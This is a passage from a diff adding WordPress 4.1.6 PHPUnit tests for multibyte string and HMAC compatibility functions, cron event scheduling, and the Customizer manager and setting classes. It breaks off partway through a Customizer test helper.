+	function test_mb_strlen( $string, $expected_character_length ) {
+		$this->assertEquals( $expected_character_length, _mb_strlen( $string, 'UTF-8' ) );
+	}
+
+	/**
+	 * @dataProvider utf8_string_lengths
+	 */
+	function test_mb_strlen_via_regex( $string, $expected_character_length ) {
+		_wp_can_use_pcre_u( false );
+		$this->assertEquals( $expected_character_length, _mb_strlen( $string, 'UTF-8' ) );
+		_wp_can_use_pcre_u( 'reset' );
+	}
+
+	/**
+	 * @dataProvider utf8_string_lengths
+	 */
+	function test_8bit_mb_strlen( $string, $expected_character_length, $expected_byte_length ) {
+		$this->assertEquals( $expected_byte_length, _mb_strlen( $string, '8bit' ) );
+	}
+
+	/**
+	 * @dataProvider utf8_substrings
+	 */
+	function test_mb_substr( $string, $start, $length, $expected_character_substring ) {
+		$this->assertEquals( $expected_character_substring, _mb_substr( $string, $start, $length, 'UTF-8' ) );
+	}
+
+	/**
+	 * @dataProvider utf8_substrings
+	 */
+	function test_mb_substr_via_regex( $string, $start, $length, $expected_character_substring ) {
+		_wp_can_use_pcre_u( false );
+		$this->assertEquals( $expected_character_substring, _mb_substr( $string, $start, $length, 'UTF-8' ) );
+		_wp_can_use_pcre_u( 'reset' );
+	}
+
+	/**
+	 * @dataProvider utf8_substrings
+	 */
+	function test_8bit_mb_substr( $string, $start, $length, $expected_character_substring, $expected_byte_substring ) {
+		$this->assertEquals( $expected_byte_substring, _mb_substr( $string, $start, $length, '8bit' ) );
+	}
+
+	function test_mb_substr_phpcore(){
+		/* https://github.com/php/php-src/blob/php-5.6.8/ext/mbstring/tests/mb_substr_basic.phpt */
+		$string_ascii = 'ABCDEF';
+		$string_mb = base64_decode('5pel5pys6Kqe44OG44Kt44K544OI44Gn44GZ44CCMDEyMzTvvJXvvJbvvJfvvJjvvJnjgII=');
+
+		$this->assertEquals( 'DEF', _mb_substr($string_ascii, 3) );
+		$this->assertEquals( 'DEF', _mb_substr($string_ascii, 3, 5, 'ISO-8859-1') );
+
+		// specific latin-1 as that is the default the core php test opporates under	
+		$this->assertEquals( 'peacrOiqng==' , base64_encode( _mb_substr($string_mb, 2, 7, 'latin-1' ) ) );
+		$this->assertEquals( '6Kqe44OG44Kt44K544OI44Gn44GZ', base64_encode( _mb_substr($string_mb, 2, 7, 'utf-8') ) );
+
+		/* https://github.com/php/php-src/blob/php-5.6.8/ext/mbstring/tests/mb_substr_variation1.phpt */
+		$start = 0;
+		$length = 5;
+		$unset_var = 10;
+		unset ($unset_var);
+		$heredoc = <<<EOT
+hello world
+EOT;
+		$inputs = array( 
+		/*1*/  0,
+			   1,
+			   12345,
+			   -2345,
+			   // float data
+		/*5*/  10.5,
+			   -10.5,
+			   12.3456789000e10,
+			   12.3456789000E-10,
+			   .5,
+			   // null data
+		/*10*/ NULL,
+			   null,
+			   // boolean data
+		/*12*/ true,
+			   false,
+			   TRUE,
+			   FALSE,
+			   // empty data
+		/*16*/ "",
+			   '',
+			   // string data
+		/*18*/ "string",
+			   'string',
+			   $heredoc,
+			   // object data
+		/*21*/ new classA(),
+			   // undefined data
+		/*22*/ @$undefined_var,
+			   // unset data
+		/*23*/ @$unset_var,
+		);
+		$outputs = array(
+			"0",
+			"1",
+			"12345",
+			"-2345",
+			"10.5",
+			"-10.5",
+			"12345",
+			"1.234",
+			"0.5",
+			"",
+			"",
+			"1",
+			"",
+			"1",
+			"",
+			"",
+			"",
+			"strin",
+			"strin",
+			"hello",
+			"Class",
+			"",
+			"",
+		);
+		$iterator = 0;
+		foreach($inputs as $input) {
+			$this->assertEquals( $outputs[$iterator] ,  _mb_substr($input, $start, $length) );
+			$iterator++;
+		}
+
+	}
+
+	function test_hash_hmac_simple() {
+		$this->assertEquals('140d1cb79fa12e2a31f32d35ad0a2723', _hash_hmac('md5', 'simple', 'key'));
+		$this->assertEquals('993003b95758e0ac2eba451a4c5877eb1bb7b92a', _hash_hmac('sha1', 'simple', 'key'));
+	}
+
+	function test_hash_hmac_padding() {
+		$this->assertEquals('3c1399103807cf12ec38228614416a8c', _hash_hmac('md5', 'simple', '65 character key 65 character key 65 character key 65 character k'));
+		$this->assertEquals('4428826d20003e309d6c2a6515891370daf184ea', _hash_hmac('sha1', 'simple', '65 character key 65 character key 65 character key 65 character k'));
+	}
+
+	function test_hash_hmac_output() {
+		$this->assertEquals(array( 1 => '140d1cb79fa12e2a31f32d35ad0a2723'), unpack('H32', _hash_hmac('md5', 'simple', 'key', true)));
+		$this->assertEquals(array( 1 => '993003b95758e0ac2eba451a4c5877eb1bb7b92a'), unpack('H40', _hash_hmac('sha1', 'simple', 'key', true)));
+	}
+
+	function test_json_encode_decode() {
+		require_once( ABSPATH . WPINC . '/class-json.php' );
+		$json = new Services_JSON();
+		// Super basic test to verify Services_JSON is intact and working.
+		$this->assertEquals( '["foo"]', $json->encodeUnsafe( array( 'foo' ) ) );
+		$this->assertEquals( array( 'foo' ), $json->decode( '["foo"]' ) );
+	}
+}
+
+/* used in test_mb_substr_phpcore */ 
+class classA {
+	public function __toString() {
+		return "Class A object";
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/cron.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/cron.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/cron.php	(revision 33402)
@@ -0,0 +1,329 @@
+<?php
+
+/**
+ * Test the cron scheduling functions
+ *
+ * @group cron
+ */
+class Tests_Cron extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		// make sure the schedule is clear
+		_set_cron_array(array());
+	}
+
+	function tearDown() {
+		// make sure the schedule is clear
+		_set_cron_array(array());
+		parent::tearDown();
+	}
+
+	function test_wp_get_schedule_empty() {
+		// nothing scheduled
+		$hook = rand_str();
+		$this->assertFalse(wp_get_schedule($hook));
+	}
+
+	function test_schedule_event_single() {
+		// schedule an event and make sure it's returned by wp_next_scheduled
+		$hook = rand_str();
+		$timestamp = strtotime('+1 hour');
+
+		wp_schedule_single_event( $timestamp, $hook );
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook) );
+
+		// it's a non recurring event
+		$this->assertEquals( '', wp_get_schedule($hook) );
+
+	}
+
+	function test_schedule_event_single_args() {
+		// schedule an event with arguments and make sure it's returned by wp_next_scheduled
+		$hook = rand_str();
+		$timestamp = strtotime('+1 hour');
+		$args = array(rand_str());
+
+		wp_schedule_single_event( $timestamp, $hook, $args );
+		// this returns the timestamp only if we provide matching args
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook, $args) );
+		// these don't match so return nothing
+		$this->assertEquals( false, wp_next_scheduled($hook) );
+		$this->assertEquals( false, wp_next_scheduled($hook, array(rand_str())) );
+
+		// it's a non recurring event
+		$this->assertEquals( '', wp_get_schedule($hook, $args) );
+	}
+
+	function test_schedule_event() {
+		// schedule an event and make sure it's returned by wp_next_scheduled
+		$hook = rand_str();
+		$recur = 'hourly';
+		$timestamp = strtotime('+1 hour');
+
+		wp_schedule_event( $timestamp, $recur, $hook );
+		// it's scheduled for the right time
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook) );
+		// it's a recurring event
+		$this->assertEquals( $recur, wp_get_schedule($hook) );
+	}
+
+	function test_schedule_event_args() {
+		// schedule an event and make sure it's returned by wp_next_scheduled
+		$hook = rand_str();
+		$timestamp = strtotime('+1 hour');
+		$recur = 'hourly';
+		$args = array(rand_str());
+
+		wp_schedule_event( $timestamp, 'hourly', $hook, $args );
+		// this returns the timestamp only if we provide matching args
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook, $args) );
+		// these don't match so return nothing
+		$this->assertEquals( false, wp_next_scheduled($hook) );
+		$this->assertEquals( false, wp_next_scheduled($hook, array(rand_str())) );
+
+		$this->assertEquals( $recur, wp_get_schedule($hook, $args) );
+
+	}
+
+	function test_unschedule_event() {
+		// schedule an event and make sure it's returned by wp_next_scheduled
+		$hook = rand_str();
+		$timestamp = strtotime('+1 hour');
+
+		wp_schedule_single_event( $timestamp, $hook );
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook) );
+
+		// now unschedule it and make sure it's gone
+		wp_unschedule_event( $timestamp, $hook );
+		$this->assertEquals( false, wp_next_scheduled($hook) );
+	}
+
+	function test_clear_schedule() {
+		$hook = rand_str();
+		$args = array(rand_str());
+
+		// schedule several events with and without arguments
+		wp_schedule_single_event( strtotime('+1 hour'), $hook );
+		wp_schedule_single_event( strtotime('+2 hour'), $hook );
+		wp_schedule_single_event( strtotime('+3 hour'), $hook, $args );
+		wp_schedule_single_event( strtotime('+4 hour'), $hook, $args );
+
+		// make sure they're returned by wp_next_scheduled()
+		$this->assertTrue( wp_next_scheduled($hook) > 0 );
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the no args events and make sure it's gone
+		wp_clear_scheduled_hook($hook);
+		$this->assertFalse( wp_next_scheduled($hook) );
+		// the args events should still be there
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the args events and make sure they're gone too
+		// note: wp_clear_scheduled_hook() expects args passed directly, rather than as an array
+		wp_clear_scheduled_hook($hook, $args);
+		$this->assertFalse( wp_next_scheduled($hook, $args) );
+	}
+
+	function test_clear_schedule_multiple_args() {
+		$hook = rand_str();
+		$args = array(rand_str(), rand_str());
+
+		// schedule several events with and without arguments
+		wp_schedule_single_event( strtotime('+1 hour'), $hook );
+		wp_schedule_single_event( strtotime('+2 hour'), $hook );
+		wp_schedule_single_event( strtotime('+3 hour'), $hook, $args );
+		wp_schedule_single_event( strtotime('+4 hour'), $hook, $args );
+
+		// make sure they're returned by wp_next_scheduled()
+		$this->assertTrue( wp_next_scheduled($hook) > 0 );
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the no args events and make sure it's gone
+		wp_clear_scheduled_hook($hook);
+		$this->assertFalse( wp_next_scheduled($hook) );
+		// the args events should still be there
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the args events and make sure they're gone too
+		// note: wp_clear_scheduled_hook() used to expect args passed directly, rather than as an array pre WP 3.0
+		wp_clear_scheduled_hook($hook, $args);
+		$this->assertFalse( wp_next_scheduled($hook, $args) );
+	}
+
+	/**
+	 * @ticket 10468
+	 */
+	function test_clear_schedule_new_args() {
+		$hook = rand_str();
+		$args = array(rand_str());
+		$multi_hook = rand_str();
+		$multi_args = array(rand_str(), rand_str());
+
+		// schedule several events with and without arguments
+		wp_schedule_single_event( strtotime('+1 hour'), $hook );
+		wp_schedule_single_event( strtotime('+2 hour'), $hook );
+		wp_schedule_single_event( strtotime('+3 hour'), $hook, $args );
+		wp_schedule_single_event( strtotime('+4 hour'), $hook, $args );
+		wp_schedule_single_event( strtotime('+5 hour'), $multi_hook, $multi_args );
+		wp_schedule_single_event( strtotime('+6 hour'), $multi_hook, $multi_args );
+
+		// make sure they're returned by wp_next_scheduled()
+		$this->assertTrue( wp_next_scheduled($hook) > 0 );
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the no args events and make sure it's gone
+		wp_clear_scheduled_hook($hook);
+		$this->assertFalse( wp_next_scheduled($hook) );
+		// the args events should still be there
+		$this->assertTrue( wp_next_scheduled($hook, $args) > 0 );
+
+		// clear the schedule for the args events and make sure they're gone too
+		// wp_clear_scheduled_hook() should take args as an array like the other functions.
+		wp_clear_scheduled_hook($hook, $args);
+		$this->assertFalse( wp_next_scheduled($hook, $args) );
+
+		// clear the schedule for the args events and make sure they're gone too
+		// wp_clear_scheduled_hook() should take args as an array like the other functions and does from WP 3.0
+		wp_clear_scheduled_hook($multi_hook, $multi_args);
+		$this->assertFalse( wp_next_scheduled($multi_hook, $multi_args) );
+
+	}
+
+	/**
+	 * @ticket 6966
+	 */
+	function test_duplicate_event() {
+		// duplicate events close together should be skipped
+		$hook = rand_str();
+		$args = array(rand_str());
+		$ts1 = strtotime('+5 minutes');
+		$ts2 = strtotime('+3 minutes');
+
+		// first one works
+		wp_schedule_single_event( $ts1, $hook, $args );
+		// second one is ignored
+		wp_schedule_single_event( $ts2, $hook, $args );
+
+		// the next event should be at +5 minutes, not +3
+		$this->assertEquals( $ts1, wp_next_scheduled($hook, $args) );
+	}
+
+	/**
+	 * @ticket 6966
+	 */
+	function test_not_duplicate_event() {
+		// duplicate events far apart should work normally
+		$hook = rand_str();
+		$args = array( rand_str() );
+		$ts1 = strtotime( '+30 minutes' );
+		$ts2 = strtotime( '+3 minutes' );
+
+		// first one works
+		wp_schedule_single_event( $ts1, $hook, $args );
+		// second works too
+		wp_schedule_single_event( $ts2, $hook, $args );
+
+		// the next event should be at +3 minutes, even though that one was scheduled second
+		$this->assertEquals( $ts2, wp_next_scheduled( $hook, $args ) );
+		wp_unschedule_event( $ts2, $hook, $args );
+		// following event at +30 minutes should be there too
+		$this->assertEquals( $ts1, wp_next_scheduled( $hook, $args ) );
+	}
+
+	function test_not_duplicate_event_reversed() {
+		// duplicate events far apart should work normally regardless of order
+		$hook = rand_str();
+		$args = array( rand_str() );
+		$ts1 = strtotime( '+3 minutes' );
+		$ts2 = strtotime( '+30 minutes' );
+
+		// first one works
+		wp_schedule_single_event( $ts1, $hook, $args );
+		// second works too
+		wp_schedule_single_event( $ts2, $hook, $args );
+
+		// the next event should be at +3 minutes
+		$this->assertEquals( $ts1, wp_next_scheduled( $hook, $args ) );
+		wp_unschedule_event( $ts1, $hook, $args );
+		// following event should be there too
+		$this->assertEquals( $ts2, wp_next_scheduled( $hook, $args ) );
+	}
+}
+
+/*
+ * Disable the WP Cron running test for the moment as it kills the whole test suite.
+ * TODO - Fix it to work with the new cron implementation in trunk
+ *
+class WPTestCronRunning extends _WPEmptyBlog {
+	function setUp() {
+		parent::setUp();
+		// make sure the schedule is clear
+		_set_cron_array(array());
+	}
+
+	function tearDown() {
+		parent::tearDown();
+		// make sure the schedule is clear
+		_set_cron_array(array());
+	}
+	function _do_cron() {
+		// FIXME: wp-cron.php is difficult to test, could be wrapped in a function
+		$_GET['check'] = wp_hash('187425');
+		require(ABSPATH.'/wp-cron.php');
+	}
+
+	function test_run_schedule_single() {
+		// schedule an event, run it, and make sure the hook is called
+		$hook = rand_str();
+		$args = array(rand_str());
+		$timestamp = strtotime('-1 second');
+
+		// register a test action
+		$a = new MockAction();
+		add_action($hook, array(&$a, 'action'));
+
+		// schedule an event for 1 second ago
+		wp_schedule_single_event( $timestamp, $hook, $args );
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook, $args) );
+
+		// run cron jobs
+		$this->_do_cron();
+
+		// our action should have been called once with the correct args
+		$this->assertEquals( 1, $a->get_call_count() );
+		$this->assertEquals( array($args), $a->get_args() );
+
+		// it shouldn't appear in the schedule anymore
+		$this->assertFalse( wp_next_scheduled($hook, $args) );
+
+	}
+
+	function test_run_schedule_recurring() {
+		// schedule a recurring event, run it, and make sure the hook is called
+		$hook = rand_str();
+		$args = array(rand_str());
+		$timestamp = strtotime('-1 second');
+		$recur = 'hourly';
+
+		// register a test action
+		$a = new MockAction();
+		add_action($hook, array(&$a, 'action'));
+
+		// schedule an event for 1 second ago
+		wp_schedule_event( $timestamp, $recur, $hook, $args );
+		$this->assertEquals( $timestamp, wp_next_scheduled($hook, $args) );
+		$this->assertEquals( $recur, wp_get_schedule($hook, $args) );
+
+		// run cron jobs
+		$this->_do_cron();
+
+		// our action should have been called once with the correct args
+		$this->assertEquals( 1, $a->get_call_count() );
+		$this->assertEquals( array($args), $a->get_args() );
+
+		// it should appear in the schedule to run again in an hour's time
+		$this->assertEquals( $timestamp + 3600, wp_next_scheduled($hook, $args) );
+
+	}
+}
+*/
Index: /tags/4.1.6/tests/phpunit/tests/customize/manager.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/customize/manager.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/customize/manager.php	(revision 33402)
@@ -0,0 +1,75 @@
+<?php
+
+/**
+ * Tests for the WP_Customize_Manager class.
+ *
+ * @group customize
+ */
+class Tests_WP_Customize_Manager extends WP_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		$this->manager = $GLOBALS['wp_customize'];
+		$this->undefined = new stdClass();
+	}
+
+	function tearDown() {
+		$this->manager = null;
+		unset( $GLOBALS['wp_customize'] );
+		parent::tearDown();
+	}
+
+	/**
+	 * Instantiate class, set global $wp_customize, and return instance.
+	 *
+	 * @return WP_Customize_Manager
+	 */
+	function instantiate() {
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		return $GLOBALS['wp_customize'];
+	}
+
+	/**
+	 * Test WP_Customize_Manager::unsanitized_post_values()
+	 *
+	 * @ticket 30988
+	 */
+	function test_unsanitized_post_values() {
+		$manager = $this->instantiate();
+
+		$customized = array(
+			'foo' => 'bar',
+			'baz[quux]' => 123,
+		);
+		$_POST['customized'] = wp_slash( wp_json_encode( $customized ) );
+		$post_values = $manager->unsanitized_post_values();
+		$this->assertEquals( $customized, $post_values );
+	}
+
+	/**
+	 * Test the WP_Customize_Manager::post_value() method
+	 *
+	 * @ticket 30988
+	 */
+	function test_post_value() {
+		$posted_settings = array(
+			'foo' => 'OOF',
+		);
+		$_POST['customized'] = wp_slash( wp_json_encode( $posted_settings ) );
+
+		$manager = $this->instantiate();
+
+		$manager->add_setting( 'foo', array( 'default' => 'foo_default' ) );
+		$foo_setting = $manager->get_setting( 'foo' );
+		$this->assertEquals( 'foo_default', $manager->get_setting( 'foo' )->value(), 'Expected non-previewed setting to return default when value() method called.' );
+		$this->assertEquals( $posted_settings['foo'], $manager->post_value( $foo_setting, 'post_value_foo_default' ), 'Expected post_value($foo_setting) to return value supplied in $_POST[customized][foo]' );
+
+		$manager->add_setting( 'bar', array( 'default' => 'bar_default' ) );
+		$bar_setting = $manager->get_setting( 'bar' );
+		$this->assertEquals( 'post_value_bar_default', $manager->post_value( $bar_setting, 'post_value_bar_default' ), 'Expected post_value($bar_setting, $default) to return $default since no value supplied in $_POST[customized][bar]' );
+	}
+
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/customize/setting.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/customize/setting.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/customize/setting.php	(revision 33402)
@@ -0,0 +1,368 @@
+<?php
+
+/**
+ * Tests for the WP_Customize_Setting class.
+ *
+ * @group customize
+ */
+class Tests_WP_Customize_Setting extends WP_UnitTestCase {
+
+	/**
+	 * @var WP_Customize_Manager
+	 */
+	protected $manager;
+
+	/**
+	 * @var stdClass an instance which serves as a symbol to do identity checks with
+	 */
+	public $undefined;
+
+	function setUp() {
+		parent::setUp();
+		require_once( ABSPATH . WPINC . '/class-wp-customize-manager.php' );
+		$GLOBALS['wp_customize'] = new WP_Customize_Manager();
+		$this->manager = $GLOBALS['wp_customize'];
+		$this->undefined = new stdClass();
+	}
+
+	function tearDown() {
+		$this->manager = null;
+		unset( $GLOBALS['wp_customize'] );
+		parent::tearDown();
+	}
+
+	function test_constructor_without_args() {
+		$setting = new WP_Customize_Setting( $this->manager, 'foo' );
+		$this->assertEquals( $this->manager, $setting->manager );
+		$this->assertEquals( 'foo', $setting->id );
+		$this->assertEquals( 'theme_mod', $setting->type );
+		$this->assertEquals( 'edit_theme_options', $setting->capability );
+		$this->assertEquals( '', $setting->theme_supports );
+		$this->assertEquals( '', $setting->default );
+		$this->assertEquals( 'refresh', $setting->transport );
+		$this->assertEquals( '', $setting->sanitize_callback );
+		$this->assertEquals( '', $setting->sanitize_js_callback );
+		$this->assertFalse( has_filter( "customize_sanitize_{$setting->id}" ) );
+		$this->assertFalse( has_filter( "customize_sanitize_js_{$setting->id}" ) );
+	}
+
+	function test_constructor_with_args() {
+		$args = array(
+			'type' => 'option',
+			'capability' => 'edit_posts',
+			'theme_supports' => 'widgets',
+			'default' => 'barbar',
+			'transport' => 'postMessage',
+			'sanitize_callback' => create_function( '$value', 'return $value . ":sanitize_callback";' ),
+			'sanitize_js_callback' => create_function( '$value', 'return $value . ":sanitize_js_callback";' ),
+		);
+		$setting = new WP_Customize_Setting( $this->manager, 'bar', $args );
+		$this->assertEquals( 'bar', $setting->id );
+		foreach ( $args as $key => $value ) {
+			$this->assertEquals( $value, $setting->$key );
+		}
+		$this->assertEquals( 10, has_filter( "customize_sanitize_{$setting->id}", $args['sanitize_callback'] ) );
+		$this->assertEquals( 10, has_filter( "customize_sanitize_js_{$setting->id}" ), $args['sanitize_js_callback'] );
+	}
+
+	public $post_data_overrides = array(
+		'unset_option_overridden' => 'unset_option_post_override_value',
+		'unset_theme_mod_overridden' => 'unset_theme_mod_post_override_value',
+		'set_option_overridden' => 'set_option_post_override_value',
+		'set_theme_mod_overridden' => 'set_theme_mod_post_override_value',
+		'unset_option_multi_overridden[foo]' => 'unset_option_multi_overridden[foo]_post_override_value',
+		'unset_theme_mod_multi_overridden[foo]' => 'unset_theme_mod_multi_overridden[foo]_post_override_value',
+		'set_option_multi_overridden[foo]' => 'set_option_multi_overridden[foo]_post_override_value',
+		'set_theme_mod_multi_overridden[foo]' => 'set_theme_mod_multi_overridden[foo]_post_override_value',
+	);
+
+	public $standard_type_configs = array(
+		'option' => array(
+			'getter' => 'get_option',
+			'setter' => 'update_option',
+		),
+		'theme_mod' => array(
+			'getter' => 'get_theme_mod',
+			'setter' => 'set_theme_mod',
+		),
+	);
+
+	/**
+	 * Run assertions on non-multidimensional standard settings.
+	 */
+	function test_preview_standard_types_non_multidimensional() {
+		$_POST['customized'] = wp_slash( wp_json_encode( $this->post_data_overrides ) );
+
+		// Try non-multidimensional settings
+		foreach ( $this->standard_type_configs as $type => $type_options ) {
+			// Non-multidimensional: See what effect the preview filter has on a non-existent setting (default value should be seen)
+			$name = "unset_{$type}_without_post_value";
+			$default = "default_value_{$name}";
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $this->undefined, call_user_func( $type_options['getter'], $name, $this->undefined ) );
+			$this->assertEquals( $default, $setting->value() );
+			$setting->preview();
+			$this->assertEquals( $default, call_user_func( $type_options['getter'], $name, $this->undefined ), sprintf( 'Expected %s(%s) to return setting default: %s.', $type_options['getter'], $name, $default ) );
+			$this->assertEquals( $default, $setting->value() );
+
+			// Non-multidimensional: See what effect the preview has on an extant setting (default value should not be seen)
+			$name = "set_{$type}_without_post_value";
+			$default = "default_value_{$name}";
+			$initial_value = "initial_value_{$name}";
+			call_user_func( $type_options['setter'], $name, $initial_value );
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $initial_value, call_user_func( $type_options['getter'], $name ) );
+			$this->assertEquals( $initial_value, $setting->value() );
+			$setting->preview();
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ) ); // only applicable for custom types (not options or theme_mods)
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->type}" ) ); // only applicable for custom types (not options or theme_mods)
+			$this->assertEquals( $initial_value, call_user_func( $type_options['getter'], $name ) );
+			$this->assertEquals( $initial_value, $setting->value() );
+
+			// @todo What if we call the setter after preview() is called? If no post_value, should the new set value be stored? If that happens, then the following 3 assertions should be inverted
+			$overridden_value = "overridden_value_$name";
+			call_user_func( $type_options['setter'], $name, $overridden_value );
+			$this->assertEquals( $initial_value, call_user_func( $type_options['getter'], $name ) );
+			$this->assertEquals( $initial_value, $setting->value() );
+			$this->assertNotEquals( $overridden_value, $setting->value() );
+
+			// Non-multidimensional: Test unset setting being overridden by a post value
+			$name = "unset_{$type}_overridden";
+			$default = "default_value_{$name}";
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $this->undefined, call_user_func( $type_options['getter'], $name, $this->undefined ) );
+			$this->assertEquals( $default, $setting->value() );
+			$setting->preview(); // activate post_data
+			$this->assertEquals( $this->post_data_overrides[ $name ], call_user_func( $type_options['getter'], $name, $this->undefined ) );
+			$this->assertEquals( $this->post_data_overrides[ $name ], $setting->value() );
+
+			// Non-multidimensional: Test set setting being overridden by a post value
+			$name = "set_{$type}_overridden";
+			$default = "default_value_{$name}";
+			$initial_value = "initial_value_{$name}";
+			call_user_func( $type_options['setter'], $name, $initial_value );
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $initial_value, call_user_func( $type_options['getter'], $name, $this->undefined ) );
+			$this->assertEquals( $initial_value, $setting->value() );
+			$setting->preview(); // activate post_data
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ) ); // only applicable for custom types (not options or theme_mods)
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->type}" ) ); // only applicable for custom types (not options or theme_mods)
+			$this->assertEquals( $this->post_data_overrides[ $name ], call_user_func( $type_options['getter'], $name, $this->undefined ) );
+			$this->assertEquals( $this->post_data_overrides[ $name ], $setting->value() );
+		}
+	}
+
+	/**
+	 * Run assertions on multidimensional standard settings.
+	 */
+	function test_preview_standard_types_multidimensional() {
+		$_POST['customized'] = wp_slash( wp_json_encode( $this->post_data_overrides ) );
+
+		foreach ( $this->standard_type_configs as $type => $type_options ) {
+			// Multidimensional: See what effect the preview filter has on a non-existent setting (default value should be seen)
+			$base_name = "unset_{$type}_multi";
+			$name = $base_name . '[foo]';
+			$default = "default_value_{$name}";
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $this->undefined, call_user_func( $type_options['getter'], $base_name, $this->undefined ) );
+			$this->assertEquals( $default, $setting->value() );
+			$setting->preview();
+			$base_value = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertArrayHasKey( 'foo', $base_value );
+			$this->assertEquals( $default, $base_value['foo'] );
+
+			// Multidimensional: See what effect the preview has on an extant setting (default value should not be seen)
+			$base_name = "set_{$type}_multi";
+			$name = $base_name . '[foo]';
+			$default = "default_value_{$name}";
+			$initial_value = "initial_value_{$name}";
+			$base_initial_value = array( 'foo' => $initial_value, 'bar' => 'persisted' );
+			call_user_func( $type_options['setter'], $base_name, $base_initial_value );
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$base_value = call_user_func( $type_options['getter'], $base_name, array() );
+			$this->assertEquals( $initial_value, $base_value['foo'] );
+			$this->assertEquals( $initial_value, $setting->value() );
+			$setting->preview();
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ) ); // only applicable for custom types (not options or theme_mods)
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->type}" ) ); // only applicable for custom types (not options or theme_mods)
+			$base_value = call_user_func( $type_options['getter'], $base_name, array() );
+			$this->assertEquals( $initial_value, $base_value['foo'] );
+			$this->assertEquals( $initial_value, $setting->value() );
+
+			// Multidimensional: Test unset setting being overridden by a post value
+			$base_name = "unset_{$type}_multi_overridden";
+			$name = $base_name . '[foo]';
+			$default = "default_value_{$name}";
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$this->assertEquals( $this->undefined, call_user_func( $type_options['getter'], $base_name, $this->undefined ) );
+			$this->assertEquals( $default, $setting->value() );
+			$setting->preview();
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ) ); // only applicable for custom types (not options or theme_mods)
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->type}" ) ); // only applicable for custom types (not options or theme_mods)
+			$base_value = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertArrayHasKey( 'foo', $base_value );
+			$this->assertEquals( $this->post_data_overrides[ $name ], $base_value['foo'] );
+
+			// Multidimemsional: Test set setting being overridden by a post value
+			$base_name = "set_{$type}_multi_overridden";
+			$name = $base_name . '[foo]';
+			$default = "default_value_{$name}";
+			$initial_value = "initial_value_{$name}";
+			$base_initial_value = array( 'foo' => $initial_value, 'bar' => 'persisted' );
+			call_user_func( $type_options['setter'], $base_name, $base_initial_value );
+			$setting = new WP_Customize_Setting( $this->manager, $name, compact( 'type', 'default' ) );
+			$base_value = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->arrayHasKey( 'foo', $base_value );
+			$this->arrayHasKey( 'bar', $base_value );
+			$this->assertEquals( $base_initial_value['foo'], $base_value['foo'] );
+
+			$getter = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertEquals( $base_initial_value['bar'], $getter['bar'] );
+			$this->assertEquals( $initial_value, $setting->value() );
+			$setting->preview();
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->id}" ) ); // only applicable for custom types (not options or theme_mods)
+			$this->assertEquals( 0, did_action( "customize_preview_{$setting->type}" ) ); // only applicable for custom types (not options or theme_mods)
+			$base_value = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertArrayHasKey( 'foo', $base_value );
+			$this->assertEquals( $this->post_data_overrides[ $name ], $base_value['foo'] );
+			$this->arrayHasKey( 'bar', call_user_func( $type_options['getter'], $base_name, $this->undefined ) );
+
+			$getter = call_user_func( $type_options['getter'], $base_name, $this->undefined );
+			$this->assertEquals( $base_initial_value['bar'], $getter['bar'] );
+		}
+	}
+
+	/**
+	 * @var array storage for saved custom type data that are tested in self::test_preview_custom_type()
+	 */
+	protected $custom_type_data_saved;
+
+	/**
+	 * @var array storage for previewed custom type data that are tested in self::test_preview_custom_type()
+	 */
+	protected $custom_type_data_previewed;
+
+	function custom_type_getter( $name, $default = null ) {
+		if ( did_action( "customize_preview_{$name}" ) && array_key_exists( $name, $this->custom_type_data_previewed ) ) {
+			$value = $this->custom_type_data_previewed[ $name ];
